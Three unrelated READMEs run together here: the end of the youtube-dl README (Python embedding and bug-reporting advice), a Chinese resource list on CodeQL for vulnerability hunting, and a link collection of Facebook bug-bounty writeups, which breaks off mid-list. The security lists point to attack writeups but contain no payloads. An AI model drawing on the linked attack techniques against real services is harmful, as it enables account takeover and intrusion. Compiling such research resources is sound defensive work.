any problems parsing its output, feel free to [create a report](https://github.com/ytdl-org/youtube-dl/issues/new). From a Python program, you can embed youtube-dl in a more powerful fashion, like this: ```python from __future__ import unicode_literals import youtube_dl ydl_opts = {} with youtube_dl.YoutubeDL(ydl_opts) as ydl: ydl.download(['https://www.youtube.com/watch?v=BaW_jenozKc']) ``` Most likely, you'll want to use various options. For a list of options available, have a look at [`youtube_dl/YoutubeDL.py`](https://github.com/ytdl-org/youtube-dl/blob/3e4cedf9e8cd3157df2457df7274d0c842421945/youtube_dl/YoutubeDL.py#L137-L312). For a start, if you want to intercept youtube-dl's output, set a `logger` object. Here's a more complete example of a program that outputs only errors (and a short message after the download is finished), and downloads/converts the video to an mp3 file: ```python from __future__ import unicode_literals import youtube_dl class MyLogger(object): def debug(self, msg): pass def warning(self, msg): pass def error(self, msg): print(msg) def my_hook(d): if d['status'] == 'finished': print('Done downloading, now converting ...') ydl_opts = { 'format': 'bestaudio/best', 'postprocessors': [{ 'key': 'FFmpegExtractAudio', 'preferredcodec': 'mp3', 'preferredquality': '192', }], 'logger': MyLogger(), 'progress_hooks': [my_hook], } with youtube_dl.YoutubeDL(ydl_opts) as ydl: ydl.download(['https://www.youtube.com/watch?v=BaW_jenozKc']) ``` # BUGS Bugs and suggestions should be reported in the issue tracker: <https://github.com/ytdl-org/youtube-dl/issues> (<https://yt-dl.org/bug> is an alias for this). Unless you were prompted to or there is another pertinent reason (e.g. GitHub fails to accept the bug report), please do not send bug reports via personal email. For discussions, join us in the IRC channel [#youtube-dl](irc://chat.freenode.net/#youtube-dl) on freenode ([webchat](https://webchat.freenode.net/?randomnick=1&channels=youtube-dl)). ## Opening a bug report or suggestion Be sure to follow instructions provided **below** and **in the issue tracker**. Complete the appropriate issue template fully. Consider whether your problem is covered by an existing issue: if so, follow the discussion there. Avoid commenting on existing duplicate issues as such comments do not add to the discussion of the issue and are liable to be treated as spam. **Please include the full output of youtube-dl when run with `-v`**, i.e. **add** `-v` flag to **your command line**, copy the **whole** output and post it in the issue body wrapped in \`\`\` for better formatting. It should look similar to this: ``` $ youtube-dl -v <your command line> [debug] System config: [] [debug] User config: [] [debug] Command-line args: [u'-v', u'https://www.youtube.com/watch?v=BaW_jenozKcj'] [debug] Encodings: locale cp1251, fs mbcs, out cp866, pref cp1251 [debug] youtube-dl version 2015.12.06 [debug] Git HEAD: 135392e [debug] Python version 2.6.6 - Windows-2003Server-5.2.3790-SP2 [debug] exe versions: ffmpeg N-75573-g1d0487f, ffprobe N-75573-g1d0487f, rtmpdump 2.4 [debug] Proxy map: {} ... ``` **Do not post screenshots of verbose logs; only plain text is acceptable.** The output (including the first lines) contains important debugging information. Issues without the full output are often not reproducible and therefore do not get solved in short order, if ever. Finally please review your issue to avoid various common mistakes (you can and should use this as a checklist) listed below. ### Is the description of the issue itself sufficient? We often get issue reports that are hard to understand. To avoid subsequent clarifications, and to assist participants who are not native English speakers, please elaborate on what feature you are requesting, or what bug you want to be fixed. Make sure that it's obvious - What the problem is - How it could be fixed - How your proposed solution would look If your report is shorter than two lines, it is almost certainly missing some of these, which makes it hard for us to respond to it. We're often too polite to close the issue outright, but the missing info makes misinterpretation likely. As a committer myself, I often get frustrated by these issues, since the only possible way for me to move forward on them is to ask for clarification over and over. For bug reports, this means that your report should contain the *complete* output of youtube-dl when called with the `-v` flag. The error message you get for (most) bugs even says so, but you would not believe how many of our bug reports do not contain this information. If your server has multiple IPs or you suspect censorship, adding `--call-home` may be a good idea to get more diagnostics. If the error is `ERROR: Unable to extract ...` and you cannot reproduce it from multiple countries, add `--dump-pages` (warning: this will yield a rather large output, redirect it to the file `log.txt` by adding `>log.txt 2>&1` to your command-line) or upload the `.dump` files you get when you add `--write-pages` [somewhere](https://gist.github.com/). **Site support requests must contain an example URL**. An example URL is a URL you might want to download, like `https://www.youtube.com/watch?v=BaW_jenozKc`. There should be an obvious video present. Except under very special circumstances, the main page of a video service (e.g. `https://www.youtube.com/`) is *not* an example URL. ### Is the issue already documented? Make sure that someone has not already opened the issue you're trying to open. Search at the top of the window or browse the [GitHub Issues](https://github.com/ytdl-org/youtube-dl/search?type=Issues) of this repository. Initially, at least, use the search term `-label:duplicate` to focus on active issues. If there is an issue, feel free to write something along the lines of "This affects me as well, with version 2015.01.01. Here is some more information on the issue: ...". While some issues may be old, a new post into them often spurs rapid activity. ### Are you using the latest version? Before reporting any issue, type `youtube-dl -U`. This should report that you're up-to-date. About 20% of the reports we receive are already fixed, but people are using outdated versions. This goes for feature requests as well. ### Why are existing options not enough? Before requesting a new feature, please have a quick peek at [the list of supported options](https://github.com/ytdl-org/youtube-dl/blob/master/README.md#options). Many feature requests are for features that actually exist already! Please, absolutely do show off your work in the issue report and detail how the existing similar options do *not* solve your problem. ### Is there enough context in your bug report? People want to solve problems, and often think they do us a favor by breaking down their larger problems (e.g. wanting to skip already downloaded files) to a specific request (e.g. requesting us to look whether the file exists before downloading the info page). However, what often happens is that they break down the problem into two steps: One simple, and one impossible (or extremely complicated one). We are then presented with a very complicated request when the original problem could be solved far easier, e.g. by recording the downloaded video IDs in a separate file. To avoid this, you must include the greater context where it is non-obvious. In particular, every feature request that does not consist of adding support for a new site should contain a use case scenario that explains in what situation the missing feature would be useful. ### Does the issue involve one problem, and one problem only? Some of our users seem to think there is a limit of issues they can or should open. There is no limit of issues they can or should open. While it may seem appealing to be able to dump all your issues into one ticket, that means that someone who solves one of your issues cannot mark the issue as closed. Typically, reporting a bunch of issues leads to the ticket lingering since nobody wants to attack that behemoth, until someone mercifully splits the issue into multiple ones. In particular, every site support request issue should only pertain to services at one site (generally under a common domain, but always using the same backend technology). Do not request support for vimeo user videos, White house podcasts, and Google Plus pages in the same issue. Also, make sure that you don't post bug reports alongside feature requests. As a rule of thumb, a feature request does not include outputs of youtube-dl that are not immediately related to the feature at hand. Do not post reports of a network error alongside the request for a new video service. ### Is anyone going to need the feature? Only post features that you (or an incapacitated friend you can personally talk to) require. Do not post features because they seem like a good idea. If they are really useful, they will be requested by someone who requires them. ### Is your question about youtube-dl? It may sound strange, but some bug reports we receive are completely unrelated to youtube-dl and relate to a different, or even the reporter's own, application. Please make sure that you are actually using youtube-dl. If you are using a UI for youtube-dl, report the bug to the maintainer of the actual application providing the UI. On the other hand, if your UI for youtube-dl fails in some way you believe is related to youtube-dl, by all means, go ahead and report the bug. # COPYRIGHT youtube-dl is released into the public domain by the copyright holders. This README file was originally written by [Daniel Bolton](https://github.com/dbbolton) and is likewise released into the public domain.
# 《深入理解CodeQL》 ![CodeQL](https://socialify.git.ci/ASTTeam/CodeQL/image?description=1&font=Inter&forks=1&issues=1&name=1&owner=1&pattern=Floating%20Cogs&pulls=1&stargazers=1&theme=Light) 本项目收集CodeQL相关内容,包括CodeQL的设计原理实现方法或使用CodeQL进行的漏洞挖掘案例等。其优点在于可以利用已知的漏洞信息来挖掘类似的漏洞,就像处理数据一样寻找漏洞。基于语义的代码分析思想在SAST领域更将会是一把利剑,这种思想更是下一代代码审计工具的发展方向。但CodeQL往往更适合开发人员对自己项目的漏洞自检,在某些环节处理上还存在较大问题,技术瓶颈有待提高。作者:[0e0w](https://github.com/0e0w) 本项目创建于2021年12月13日,最近的一次更新时间为2022年12月28日。 - [01-CodeQL资源](https://github.com/ASTTeam/CodeQL#01-CodeQL%E8%B5%84%E6%BA%90) - [02-CodeQL基础](https://github.com/ASTTeam/CodeQL#02-codeql%E5%9F%BA%E7%A1%80) - [03-CodeQL语言](https://github.com/ASTTeam/CodeQL#03-CodeQL%E8%AF%AD%E8%A8%80) - [04-CodeQL进阶](https://github.com/ASTTeam/CodeQL#04-CodeQL%E8%BF%9B%E9%98%B6) - [05-CodeQL案例](https://github.com/ASTTeam/CodeQL#05-CodeQL%E6%A1%88%E4%BE%8B) - [06-CodeQL参考](https://github.com/ASTTeam/CodeQL#06-CodeQL%E5%8F%82%E8%80%83) ## 01-CodeQL资源 本章节收集整理CodeQL的相关资源内容,文章内容质量参差不齐,建议深入学习官方资源! 一、官方资源 - [ ] https://codeql.github.com/docs - [ ] https://github.com/github/codeql - [ ] https://github.com/github/codeql-go - [ ] https://github.com/github/codeql-cli-binaries - [ ] https://github.com/github/vscode-codeql-starter - [ ] https://github.com/github/codeql-learninglab-actions - [ ] https://github.com/github/securitylab/issues - [ ] https://github.com/github/securitylab 二、优秀资源 - [ ] [《深入理解CodeQL》](https://github.com/ASTTeam/CodeQL)@0e0w - [x] [《CodeQL 学习笔记》](https://www.yuque.com/loulan-b47wt/rc30f7/)@楼兰 - [x] [《Codeql学习笔记》](https://github.com/safe6Sec/CodeqlNote)@safe6Sec - [x] [《记录学习codeql的过程》](https://github.com/Firebasky/CodeqlLearn)@Firebasky - [x] [《CodeQL Java 全网最全的中文学习资料》](https://github.com/SummerSec/learning-codeql)@SummerSec - [x] [《代码分析平台CodeQL学习手记》](https://www.4hou.com/posts/o6wX)@fanyeee - [ ] [《静态分析☞CodeQL/Soot/SAST》](https://github.com/pen4uin/static-analysis)@pen4uin - [x] [《Finding security vulnerabilities with CodeQL》](https://github.com/githubsatelliteworkshops/codeql)@GitHub Satellite Workshops - [ ] [《CodeQL 寻找 JNDI利用 Lookup接口》](https://github.com/SummerSec/LookupInterface)@SummerSec - [ ] ~~[《CodeQL中文入门教程》](https://github.com/Cl0udG0d/codeqlCnLearn)@Cl0udG0d~~ - [ ] https://github.com/haby0/mark - [ ] https://github.com/johnjohncom/webinar-2021sep-codeql2 - [ ] https://github.com/githubsatelliteworkshops/codeql-cpp - [ ] https://github.com/pwntester/codeql_grehack_workshop - [ ] https://github.com/haby0/sec-note 三、视频资源 - [ ] [《CodeQL合集》](https://www.bilibili.com/video/BV1TL411L7ha) - [ ] [《使用 CodeQL 挖掘 Java 应用漏洞》](https://www.bilibili.com/video/BV153411r7HW) - [ ] [《Discover vulnerabilities with CodeQL》](https://www.bugbounty-videos.com/discover-vulnerabilities-with-codeql/)@admin4571 - [ ] https://www.youtube.com/watch?v=y_-pIbsr7jc - [ ] https://www.youtube.com/watch?v=G_yDbouY0tM 四、学术刊物 - https://codeql.github.com/publications 五、其他资源 - 先知 - [x] https://xz.aliyun.com/search?keyword=Codeql - [ ] [CodeQL 提升篇](https://xz.aliyun.com/t/10852)@Ironf4 - [ ] https://xz.aliyun.com/t/7789 - [ ] https://xz.aliyun.com/t/10829 - [ ] https://xz.aliyun.com/t/10756 - [ ] https://xz.aliyun.com/t/10755 - [ ] https://xz.aliyun.com/t/10707 - [ ] https://xz.aliyun.com/t/10046 - [ ] https://xz.aliyun.com/t/9275 - [ ] https://xz.aliyun.com/t/7979 - [ ] https://xz.aliyun.com/t/7657 - 跳跳糖 - [x] https://tttang.com/?keyword=codeql - [ ] https://tttang.com/archive/1511 - [ ] https://tttang.com/archive/1512 - [ ] https://tttang.com/archive/1322 - [ ] https://tttang.com/archive/1353 - [ ] https://tttang.com/archive/1415 - [ ] https://tttang.com/archive/1378 - [ ] https://tttang.com/archive/1314 - [ ] https://tttang.com/archive/1497 - [ ] https://tttang.com/archive/1570 - [ ] https://tttang.com/archive/1660 - [ ] https://tttang.com/archive/1704 - 安全客 - [x] https://www.anquanke.com/search?s=codeql - [ ] https://www.anquanke.com/post/id/266823 - [ ] https://www.anquanke.com/post/id/157583 - [ ] https://www.anquanke.com/post/id/212305 - [ ] https://www.anquanke.com/post/id/193171 - [ ] https://www.anquanke.com/post/id/266824 - 知乎 - [ ] https://www.zhihu.com/search?type=content&q=codeql - [ ] https://zhuanlan.zhihu.com/p/354275826 - [ ] https://zhuanlan.zhihu.com/p/137569940 - [ ] https://zhuanlan.zhihu.com/p/479431942 - [ ] https://zhuanlan.zhihu.com/p/451369565 - [ ] https://zhuanlan.zhihu.com/p/92769710 - [ ] https://zhuanlan.zhihu.com/p/463665699 - [ ] https://zhuanlan.zhihu.com/p/451364774 - [ ] https://zhuanlan.zhihu.com/p/466504018 - [ ] https://zhuanlan.zhihu.com/p/448538180 - [ ] https://zhuanlan.zhihu.com/p/475499290 - [ ] https://zhuanlan.zhihu.com/p/466932373 - 微信 - [ ] https://mp.weixin.qq.com/s/jVZ3Op8FYBmiFAV3p0li3w - [ ] https://mp.weixin.qq.com/s/KQso2nvWx737smunUHwXag - [ ] https://mp.weixin.qq.com/s/sAUSgRAohFlmzwSkkWjp9Q - [ ] https://mp.weixin.qq.com/s/3mlRedFwPz31Rwe7VDBAuA - [ ] https://mp.weixin.qq.com/s/zSI157qJXYivSvyxHzXALQ - [ ] https://mp.weixin.qq.com/s/Rqo12z9mapwlj6wGHZ1zZA - [ ] https://mp.weixin.qq.com/s/DW0PJfRC0LtMOYx1CQPWpA - [ ] https://mp.weixin.qq.com/s/mDWqyw5aRxBnW4Sewt9sLQ - Freebuf - [x] https://search.freebuf.com/search/?search=codeql#article - [ ] https://www.freebuf.com/articles/web/283795.html - [ ] https://www.freebuf.com/articles/network/316551.html - [ ] https://www.freebuf.com/sectool/291916.html - [ ] https://wiki.freebuf.com/detail?wiki=106&post=319285 - Github - [ ] https://github.com/Semmle/SecurityQueries - [ ] https://github.com/artem-smotrakov/ql-fun - [ ] https://github.com/s0/language-ql - [ ] https://github.com/pwntester/codeql-cs-template - [ ] https://github.com/ghas-bootcamp/ghas-bootcamp - [ ] https://github.com/zbazztian/codeql-inject - [ ] https://github.com/zbazztian/codeql-tools - [ ] https://github.com/JLLeitschuh/lgtm_hack_scripts - [ ] https://github.com/silentsignal/jms-codeql - [ ] https://github.com/Marcono1234/codeql-jdk-docker - [ ] https://github.com/j3ssie/codeql-docker - [ ] https://github.com/microsoft/codeql-container - [ ] https://github.com/zbazztian/codeql-debug - [ ] https://github.com/dsp-testing/codeql-action - [ ] https://github.com/uainc/codeql-example-01 - [ ] https://github.com/advanced-security/custom-codeql-bundle - [ ] https://github.com/iflody/codeql-workshop - [ ] https://github.com/dassencio/parallel-code-scanning - [ ] https://github.com/advanced-security/codeql-basics - [ ] https://github.com/vchekan/CodeQL - [ ] https://github.com/ThibaudLopez/GHAS - [ ] https://github.com/synacktiv/QLinspector - [ ] https://github.com/advanced-security/codeql-workshop-2021-learning-journey - Medium - [ ] [《The journey of CodeQL》 ](https://medium.com/@qazbnm456/the-journey-of-codeql-part-1-cc4c6f3c610a)@Boik Su - [ ] [《CodeQL thần chưởng》](https://testbnull.medium.com/codeql-th%E1%BA%A7n-ch%C6%B0%E1%BB%9Fng-part-1-544a2b0df9d7)@Jang - [ ] [Hunting for XSS with CodeQL](https://medium.com/codex/hunting-for-xss-with-codeql-57f70763b938)@Daniel Santos - [ ] [Detect dangerous RMI objects with CodeQL](https://medium.com/geekculture/detecting-dangerous-rmi-objects-with-codeql-33e03686921f)@Artem Smotrakov - [ ] [About the CodeQL for research](https://medium.com/@lalida_a/about-the-codeql-for-research-c0686053337a)@Lalida Aramrueng - [ ] [Detecting Jackson deserialization vulnerabilities with CodeQL](https://medium.com/geekculture/detecting-jackson-deserialization-vulnerabilities-with-codeql-8ec6353c5cc6)@Artem Smotrakov - [ ] [Using CodeQL to detect client-side vulnerabilities in web applications](https://medium.com/@theRaz0r/using-codeql-to-detect-client-side-vulnerabilities-in-web-applications-1f4e4c773433)@Arseny Reutov - 其他博客 - [ ] https://bestwing.me/codeql.html - [ ] https://lfysec.top/2020/06/03/CodeQL%E7%AC%94%E8%AE%B0/ - [ ] https://docs.microsoft.com/zh-cn/windows-hardware/drivers/devtest/static-tools-and-codeql - [ ] https://codeantenna.com/a/fnmZS3Qg4F - [ ] https://www.cnblogs.com/goodhacker/p/ - [ ] https://geekmasher.dev/posts/sast/codeql-introduction - [ ] http://blog.gamous.cn/post/codeql - [ ] https://www.cnblogs.com/goodhacker/p/13583650.html - [ ] https://yourbutterfly.github.io/note-site/module/semmle-ql/codeql - [ ] https://fynch3r.github.io/tags/CodeQL - [ ] https://blog.ycdxsb.cn/categories/research/codeql - [ ] https://cloud.tencent.com/developer/article/1645870 - [ ] https://jorgectf.github.io/blog/post/practical-codeql-introduction - [ ] https://www.slideshare.net/shabgrd/semmle-codeql - [ ] https://blog.szfszf.top/article/59 - [ ] https://firebasky.github.io/2022/03/22/Codeql-excavate-Java-quadratic-deserialization - [ ] https://www.synacktiv.com/en/publications/finding-gadgets-like-its-2022.html - [ ] https://github.com/waderwu/extractor-java - [ ] https://github.com/zbazztian/codeql-tools - [ ] https://paper.seebug.org/1921 - [ ] https://github.com/webraybtl/codeQlpy ## 02-CodeQL基础 本章节介绍CodeQL的基础用法及设计思路实现原理等! - AST、source、sink、 - CodeQL的处理对象并不是源码本身,而是中间生成的AST结构数据库,所以我们先需要把我们的项目源码转换成CodeQL能够识别的CodeDatabase。 - 1、创建数据库。2、对数据库进行查找。3、分析查询结果发现漏洞 - Engine、Database、Queries - AutoBuilder、extractor、trap、逻辑谓词、连接词、逻辑连接词、predicate - CodeQL的缺点?不能直接通过打包好的程序进行代码审计。 一、CodeQL安装 二、CodeQL语法 - https://github.com/semmle/ql 三、CodeQL数据库 - https://github.com/waderwu/extractor-java - https://lgtm.com/help/lgtm/generate-database - 生成数据库之前,需要先保证被分析程序可以正常跑起来。 - 创建数据库 - codeql database create java-db --language=java - codeql database create java-db --language=java --command='mvn clean install' - codeql database create cpp-database --language=cpp --command=make - codeql database create csharp-database --language=csharp --command='dotnet build /t:rebuild - codeql database create csharp-database --language=csharp --command='dotnet build /p:UseSharedCompilation=false /t:rebuild' - codeql database create java-database --language=java --command='gradle clean test' - codeql database create java-database --language=java --command='mvn clean install' - codeql database create java-database --language=java --command='ant -f build.xml' - codeql database create new-database --language=java --command='./scripts/build.sh' - 分析数据库 - codeql database analyze java-db CWE-020.ql --format=csv --output=result.csv ## 03-CodeQL语言 本章节介绍QL语言的语法规则,包括优秀规则等内容。CodeQL为王,规则为先! 一、基础语法 二、规则编写 - Java - C# - Go 三、官方规则 四、优秀规则 - [ ] [《My CodeQL queries collection》](https://github.com/cldrn/codeql-queries)@cldrn - [ ] https://github.com/cor0ps/codeql - [ ] https://github.com/GeekMasher/security-queries - [ ] https://github.com/Marcono1234/codeql-java-queries - [ ] https://github.com/imagemlt/myQLrules - [ ] https://github.com/advanced-security/codeql-queries - [ ] https://github.com/jenkins-infra/jenkins-codeql - [ ] https://github.com/ice-doom/CodeQLRule - [ ] https://github.com/zbazztian/codeql-queries ## 04-CodeQL进阶 本章节是针对不同的开发语言进行CodeQL扫描的例子,本章节待整理。 一、Java安全分析 - https://codeql.github.com/codeql-query-help/java - https://codeql.github.com/codeql-standard-libraries/java - https://lgtm.com/search?q=language%3Ajava&t=rules - [ ] https://github.com/msrkp/codeql_for_gadgets - [ ] https://github.com/chaimu100/java-test-for-codeql - [ ] https://github.com/synacktiv/QLinspector 二、C#安全分析 - https://codeql.github.com/codeql-query-help/csharp/ - [ ] https://lgtm.com/search?q=language%3Acsharp&t=projects 三、Golang安全分析 - https://codeql.github.com/codeql-query-help/go/ - https://lgtm.com/search?q=language%3Ago&t=rules - [ ] https://lgtm.com/search?q=language%3Ago&t=projects - [ ] https://codeql.github.com/codeql-standard-libraries/go - [ ] https://github.com/github/codeql-ctf-go-return - [ ] https://github.com/gagliardetto/codemill - [ ] http://f4bb1t.com/post/2020/12/16/codeql-for-golang-practise3 - [ ] https://www.freebuf.com/articles/web/253491.html 四、Python - https://codeql.github.com/codeql-query-help/python/ - [ ] https://github.com/10thmagnitude/custom-codeql-python - [ ] https://github.com/AlexAltea/codeql-python 五、C++安全分析 - [ ] https://github.com/trailofbits/itergator - [ ] https://github.com/0xcpu/codeql-uboot - [ ] https://github.com/RadCet/CodeQL 六、Ruby - https://github.com/agius/codeql_ruby 七、CodeQL工具 - [x] https://github.com/ZhuriLab/Yi - [ ] https://github.com/ice-doom/codeql_compile - [x] https://github.com/hudangwei/codemillx - [ ] https://github.com/gagliardetto/codemill - [ ] https://github.com/pwntester/codeql.nvim - [ ] https://github.com/gagliardetto/codebox ## 05-CodeQL案例 本章节介绍CodeQL的具体使用案例,包括自己通过CodeQL挖掘的漏洞等内容。 一、大型应用分析 - 分析Shiro - https://www.anquanke.com/post/id/256967 - 分析Fastjson - https://xz.aliyun.com/t/7482 - https://www.buaq.net/go-98696.html - https://www.anquanke.com/post/id/281733 - 分析Log4j - https://www.anquanke.com/post/id/255721 - https://www.freebuf.com/articles/web/318141.html - https://mp.weixin.qq.com/s/JYco8DysQNszMohH6zJEGw - 分析Dubbo - https://github.com/github/codeql-dubbo-workshop - https://mp.weixin.qq.com/s/B-uhbd5FApxSXnjPEFzArQ - https://securitylab.github.com/research/apache-dubbo - 分析kylin - https://xz.aliyun.com/t/8240 - 分析grafana - https://xz.aliyun.com/t/10648 - [用codeql分析grafana最新任意文件读取](https://github.com/safe6Sec/codeql-grafana) - 分析Hadoop - https://mp.weixin.qq.com/s/CyhWw4t8LdGhCpixacb6Xg - 分析Struts2 - https://www.anquanke.com/post/id/157583 二、代码审计案例 - https://www.anquanke.com/post/id/203674 - https://www.jianshu.com/p/99942852a3aa - https://www.anquanke.com/post/id/202987 - https://mp.weixin.qq.com/s/LmOFGAhqAKiO8VDQW4vvLg - https://github.com/hac425xxx/codeql-snippets - https://github.com/elManto/StaticAnalysisQueries ## 06-CodeQL参考 - https://github.com/ASTTeam/CodeQL - https://github.com/pwntester - [微信公众号:xsser的博客](https://mp.weixin.qq.com/mp/profile_ext?action=home&__biz=MzA4NzA5OTYzNw==&scene=123#wechat_redirect) - [微信公众号:楼兰学习网络安全](https://mp.weixin.qq.com/s/7wJKMVyc36U-PciZGmjrcg) ## Stargazers [![Stargazers @ASTTeam/CodeQL](https://reporoster.com/stars/ASTTeam/CodeQL)](https://github.com/ASTTeam/CodeQL/stargazers) ## Forkers [![Forkers @ASTTeam/CodeQL](https://reporoster.com/forks/ASTTeam/CodeQL)](https://github.com/ASTTeam/CodeQL/network/members) ![](01-CodeQL资源/TEMP/wx.png) [![Stargazers over time](https://starchart.cc/ASTTeam/CodeQL.svg)](https://starchart.cc/ASTTeam/CodeQL)
<h2 align="center"> 🛡️ Facebook Bug Bounty Writeups Collection ✍️ </h2> <h4 align ="center"> 💖 A curated list of Facebook bug bounty writeups by various security researchers.🌙 </h4> ##### `You can contribute to this collection by submitting your own writeup or any others you know of, written in clear and concise English. Your contributions will help others learn from your experiences and improve the security of Facebook's platform.` ## Table of Contents - [Account Takeovers](#ATO) - [Remove Code Execution](#RCE) - [Two-Factor Authentication Bypass](#2FA) - [Cross-Site Scripting](#XSS) - [Cross-Site Request Forgery](#CSRF) - [Server-Side Request Forgery](#SSRF) - [Logic Vulnerabilities](#LOGIC) - [Race Conditions](#RC) - [Rate Limits](#RL) - [Open Redirects](#OR) - [Clickjacking](#CLJ) - [Insecure Direct Object Reference](#IDOR) - [Privacy/spam](#PS) - [Page Roles](#PR) - [Facebook Ads](#FA) - [Facebook Groups](#FG) - [Phone Numbers](#PHN) - [Email Address](#EA) - [BIP Address](#BIPA) - [Symlink Attack](#SYMA) - [Accellion’s Secure File Transfer](#ASFT) - [XXE](#XXE) - [LFI](#LFI) - [SQL Injection](#SQLI) - [Jenkins](#JK) - [API](#API) - [GraphQL](#GQ) - [FQL](#FQL) - [Logic Nonces](#LN) - [OAuth](#OAUTH) - [Instagram](#IG) - [Signal](#SIGNAL) - [Slingshot](#SLING) - [Messenger Android](#MA) - [Moments](#MOMENTS) - [Moves](#MOVES) - [WhatsApp](#WTP) - [Workplace](#WOP) - [Whitehat Test Accounts](#WTA) - [Facebook Events ](#FE) - [DoS Attack](#DOS) - [Facebook/Instagram Mobile App](#MBL) - [Extra resources](#EXTRAS) - [Thanks](#THX) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="ATO"></a> ### Account Takeovers - [React debugkeystore key was trusted by Facebook and Oculus domains, leading to account takeover.](https://www.vulnano.com/2022/07/react-debugkeystore-key-was-trusted-by.html) - [Multiple bugs chained to takeover Facebook Accounts which uses Gmail.](https://ysamm.com/?p=763) - [Account takeover of Facebook/Oculus accounts due to First-Party access_token stealing.](https://ysamm.com/?p=777) - [Multiple bugs chained to takeover Facebook Accounts which uses Gmail.](https://ysamm.com/?p=763) - [Multiple bugs allowed malicious Android Applications to takeover Facebook/Workplace accounts.](https://ysamm.com/?p=729) - [More secure Facebook Canvas : Tale of $126k worth of bugs that lead to Facebook Account Takeovers.](https://ysamm.com/?p=708) - [Account takeover of Instagram accounts due to unrestricted permissions of third-party application’s generated tokens.](https://ysamm.com/?p=684) - [Facebook account takeover due to unsafe redirects after the OAuth flow.](https://ysamm.com/?p=667) - [Facebook account takeover due to a wide platform bug in ajaxpipe responses.](https://ysamm.com/?p=654) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="RCE"></a> ### Remote Code Execution<br> - [Facebook's imagetragick story.](https://4lemon.ru/2017-01-17_facebook_imagetragick_remote_code_execution.html) - [Meta's SparkAR RCE Via ZIP Path Traversal .](https://blog.fadyothman.com/metas-sparkar/) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="2FA"></a> ### 2FA Bypass<br> - [How I could’ve bypassed the 2FA security of Instagram once again.](https://infosecwriteups.com/how-i-couldve-bypassed-the-2fa-security-of-instagram-once-again-43c05cc9b755) - [Bypassing 2-Factor Authentication for Facebook Business Manager (Bounty: 1000 USD)](https://infosecwriteups.com/bypassing-2-factor-authentication-for-facebook-business-manager-bounty-1000-usd-c78c858459d6) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="XSS"></a> ### XSS - [XSS in Facebook CDN due to improper filtering of uploaded files extensions](https://ysamm.com/?p=632) - [One-click reflected XSS in www.instagram.com due to unfiltered URI schemes leads to account takeover](https://ysamm.com/?p=695) - [Stored XSS on Facebook.](https://opnsec.com/2018/03/stored-xss-on-facebook) - Stored XSS on Facebook. [`thread`](https://twitter.com/opnsec/status/855076273395204097), [`POC`](https://www.youtube.com/watch?v=Q9bsKjUd1hM&feature=youtu.be) - [An XSS on Facebook via PNGs & Wonky Content Types](https://whitton.io/articles/xss-on-facebook-via-png-content-types/) - [Ability to upload HTML via SRT caption files for Facebook Videos](https://philippeharewood.com/ability-to-upload-html-via-srt-caption-files-for-facebook-videos/) <!-- DEAD LINKS http://breaksec.com/?p=5713 http://blog.ptsecurity.com/2013/10/a-story-about-xss-on-facebook.html https://www.youtube.com/watch?v=NQOK9-OXwsc https://dr4cun0.com/blog/ssrf-at-update-subscription-menu/ --> - [Another xss in facebook.](http://nirgoldshlager.blogspot.com/2013/01/another-stored-xss-in-facebookcom.html) - [Xss in facebook translations ](https://nealpoole.com/blog/2011/03/xss-vulnerability-in-facebook-translations/) - [Lessons from fb security bb program.](https://nealpoole.com/blog/2011/08/lessons-from-facebooks-security-bug-bounty-program/) - [Facebook Bug Bounty 2014, Reflected XSS and Filter Evasion worth $7500.](http://www.paulosyibelo.com/2014/07/the-unseen-facebook-bug-bounty-2014-x.html) - [Facebook FriendFeed Stored XSS](https://prakharprasad.com/facebook-friendfeed-stored-xss/) - [Stored XSS on Atlassolutions (Facebook Acquisition)](https://medu554.blogspot.com/2014/02/stored-xss-on-atlassolutions-facebook.html) - [Facebooks Boltpeters.com Configuration File Source Code Disclosure Vulnerability ](https://web.archive.org/web/20160119170845/http://www.websecresearch.com/2014/02/facebooks-boltpeterscom-configuration.html) - [ See The Posts Of A Friend Who Blocked You](http://nbsriharsha.blogspot.in/2014/03/finally-facebook-hunted.html) - [Content Types and XSS in Facebook Studio](https://whitton.io/articles/content-types-and-xss-facebook-studio/) - [Facebook Fixes Minor Issues](https://en.internetwache.org/facebook-fixes-minor-issues-02-05-2014/) - [Facebook XSS Vulnerability](https://silentzzz.blogspot.com/2007/11/facebook-xss-vulnerability.html) - [Stored XSS in Facebook's Custom OpenGraph Action Type](https://habr.com/company/pt/blog/247709/) - [XSS Vulnerability in Gill.is website](https://web.archive.org/web/20120416034642/http://gill.is/2012/04/11/new_website) - [Stored XSS at Parse](https://dr4cun0.com/blog/stored-xss-at-parse/) - [Reflected XSS in Instagram's Link Shim](https://web.archive.org/web/20160724215405/http://ameeras.me/Instagram-Reflected-XSS-in-Link-Shim/) - [DOM XSS in Facebook Mobile Site/App Login](https://thesecurityexperts.wordpress.com/2017/12/20/dom-xss-in-facebook-mobile-siteapp-login/) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="CSRF"></a> ### CSRF - [CSRF in Instagram](https://medium.com/@mohamedajimi59/csrf-in-instagram-461cbba286a) - [Facebook SMS Captcha was Vulnerable to CSRF Attack](https://lokeshdlk77.medium.com/facebook-sms-captcha-was-vulnerable-to-csrf-attack-8db537b1e980) - [Facebook Bug Bounty: The Most Severe CSRF Vulnerability](http://www.breaksec.com/?p=6192) ([video](https://vimeo.com/65453658)) - [Invisible Arbitrary CSRF Profile Picture Upload in Facebook](http://www.sneaked.net/invisible-arbitrary-csrf-profile-picture-upload-in-facebook) - [Facebook CSRF Full Account Takeover](https://www.josipfranjkovic.com/blog/facebook-csrf-full-account-takeover) - [Facebook Bug Bounty: Secondary Damage (CSRF via XSRF token)](https://josipfranjkovic.blogspot.com/2013/11/facebook-bug-bounty-secondary-damage.html) - [Facebook CSRF Worth USD 5000](https://amolnaik4.blogspot.com/2012/08/facebook-csrf-worth-usd-5000.html) - [Hacking any Facebook account - Exploit (PoC)](https://web.archive.org/web/20160110053958/http://www.dan-melamed.com/2013/06/hacking-any-facebook-account-exploit-poc.html) - [Exploiting Facebook's Oculus](http://www.paulosyibelo.com/2015/01/facebooks-oculus-exploiting.html) - [Multiple 